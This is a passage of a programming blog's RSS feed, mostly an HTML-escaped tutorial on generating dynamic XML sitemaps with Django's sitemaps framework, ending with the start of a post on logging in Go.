style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/urlset&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;split-sitemaps-for-simplicity&#34;&gt;Split Sitemaps for simplicity&lt;/h3&gt;&#xA;&lt;p&gt;When a sitemap is very large it is possible to divide it into smaller sitemaps, using a &lt;em&gt;sitemapindex&lt;/em&gt; element and &lt;em&gt;sitemap&lt;/em&gt; sub elements, each with its respective location.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-xml&#34; data-lang=&#34;xml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;sitemapindex&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;xmlns=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;http://www.sitemaps.org/schemas/sitemap/0.9&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;sitemap&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;loc&amp;gt;&lt;/span&gt;http://www.example.com/sitemap1.xml&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/loc&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/sitemap&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;sitemap&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;loc&amp;gt;&lt;/span&gt;http://www.example.com/sitemap2.xml&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/loc&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/sitemap&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/sitemapindex&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;But that&amp;rsquo;s not all, you can divide it by category, by language or whatever fits the best for you.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;framework-of-sitemaps-in-django&#34;&gt;Framework of sitemaps in Django&lt;/h2&gt;&#xA;&lt;p&gt;Django already has an internal framework for sitemap generation, &lt;em&gt;django.contrib.sitemaps&lt;/em&gt;, which allows us to create sitemaps dynamically in conjunction with &lt;em&gt;django.contrib.sites&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;django.contrib.sites&lt;/em&gt; is a framework included in django that allows you to manage different websites with the same django application.&lt;/p&gt;&#xA;&lt;p&gt;To use the sitemaps framework, we need to add the two packages to the INSTALLED_APPS variable and also add the site identifier.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SITE_ID &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INSTALLED_APPS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.sites&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.sitemaps&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Since Django keeps track of the sites that are managed by the application in the database, you will need to run migrations to update the database.&lt;/p&gt;&#xA;&lt;h2 id=&#34;defining-a-sitemap-in-django&#34;&gt;Defining a sitemap in Django&lt;/h2&gt;&#xA;&lt;p&gt;Now redirect to your application, at the same level as your &lt;em&gt;models.py&lt;/em&gt; file and create a file called &lt;em&gt;sitemaps.py&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Inside this file we are going to inherit a class from the &lt;em&gt;Sitemap&lt;/em&gt; class provided by Django.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/sitemaps.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.sitemaps &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Sitemap&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameSitemap&lt;/span&gt;(Sitemap):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    changefreq &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;monthly&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    priority &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0.8&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;items&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(published&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;lastmod&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, obj):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; obj&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;modified&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;define-items-in-django-sitemap&#34;&gt;Define items in django sitemap&lt;/h3&gt;&#xA;&lt;p&gt;By overwriting the items function we will define the queryset that will be used as a base, you can modify it as much as you want: partition it, limit it to attributes of your objects or as you prefer.&lt;/p&gt;&#xA;&lt;h3 id=&#34;location-method-in-django-sitemap&#34;&gt;location method in django Sitemap&lt;/h3&gt;&#xA;&lt;p&gt;Location refers to the url of the resource. If we do not define a &lt;em&gt;location&lt;/em&gt; method, Django will use the &lt;em&gt;get_absolute_url&lt;/em&gt; method of our model to generate it.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# sitemaps.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameSitemap&lt;/span&gt;(Sitemap):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;location&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, obj):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; obj&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;customized_method()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;changefreq&#34;&gt;changefreq&lt;/h3&gt;&#xA;&lt;p&gt;Refers to the frequency with which the content changes. You can use a function to generate it dynamically according to attributes of the object itself or leave it as a fixed value.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/sitemaps.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameSitemap&lt;/span&gt;(Sitemap):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;changefreq&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, obj):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;monthly&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;priority&#34;&gt;priority&lt;/h3&gt;&#xA;&lt;p&gt;It dictates the priority of the resource. It is possible to use a function to generate the priority dynamically through attributes or any other logic that you prefer.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/sitemaps.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameSitemap&lt;/span&gt;(Sitemap):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;priority&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, obj):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0.8&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;adding-a-sitemap-to-django-urls&#34;&gt;Adding a sitemap to Django urls&lt;/h2&gt;&#xA;&lt;p&gt;Now we have the sitemap, but we need to add it to the url in our project&amp;rsquo;s &lt;em&gt;urls.py&lt;/em&gt; file.&lt;/p&gt;&#xA;&lt;p&gt;The view we will use, called &lt;em&gt;sitemap&lt;/em&gt;, is provided by django and we just pass it a dictionary that relates to the sitemap we just created and pass it as a parameter.&lt;/p&gt;&#xA;&lt;p&gt;Within the sitemaps variable you can add other sitemaps for other applications.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.sitemaps.views &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; sitemap&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; videogame.sitemaps &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; VideogameSitemap&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sitemaps &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;videogames&amp;#39;&lt;/span&gt;: VideogameSitemap,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;urlpatterns &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;sitemap.xml&amp;#39;&lt;/span&gt;, sitemap, {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;sitemaps&amp;#39;&lt;/span&gt;: sitemaps},&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.sitemaps.views.sitemap&amp;#39;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;setting-the-domain-name-for-the-sitemap-in-django-admin&#34;&gt;Setting the domain name for the sitemap in Django admin&lt;/h2&gt;&#xA;&lt;p&gt;If we access the sitemap, you will notice that the base url of the urls is &lt;em&gt;example.org&lt;/em&gt;, to define another one we need to modify the base from the administrator. The form is located at &lt;em&gt;/admin/sites/site/&lt;/em&gt;&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/dynamic-sitemap-with-django/images/Django-sitio-sitemap.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/dynamic-sitemap-with-django/images/Django-sitio-sitemap.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Add a domain to the Django sitemap&#34; width=&#34;1291&#34; height=&#34;528&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Modify the default domain of the sitemap in /admin/sites/site/&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;should-i-cache-the-sitemap&#34;&gt;Should I cache the sitemap?&lt;/h2&gt;&#xA;&lt;p&gt;Remember that, generally, when you are creating a sitemap dynamically, from each of the objects in your database, you are going through it completely every time you access it. If your database is colossal, this may not be convenient because every access to the sitemap will hit the database, and trust me there are bots crawling the web several times a day.&lt;/p&gt;&#xA;&lt;p&gt;Depending on the type of site you manage, you may want to store the sitemap in the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/caching-in-django-rest-framework-using-memcached/&#34;&gt;Django cache&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;A sitemap is an xml file that functions as a map to navigate your site. Hence the name; Site-map. Search engines, such as google, bing, yahoo and others, use the sitemap of a site as a starting point to analyze its content and include it in their search results.&lt;/p&gt;&#xA;&lt;p&gt;A sitemap is &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/seo/my-technical-seo-mistakes-when-i-migrated-my-site-from-wordpress/&#34;&gt;crucial in SEO and a sitemap with errors can plummet your site views&lt;/a&gt;&#xA;, as it happened to me.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Logging with the standard library in Go</title>
      <link>https://coffeebytes.dev/en/go/logging-with-the-standard-library-in-go/</link>
      <pubDate>Wed, 06 Jul 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/go/logging-with-the-standard-library-in-go/</guid>
      
      <category>go</category>
      
      
      
      
      
      <content:encoded>&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;As you probably already know, you should not use prints for debugging. The standard go logging library is much more versatile, it adds dates, filenames and other information, plus you can redirect the logs to standard output, to a file or wherever you want. This can make your debugging process more enjoyable and 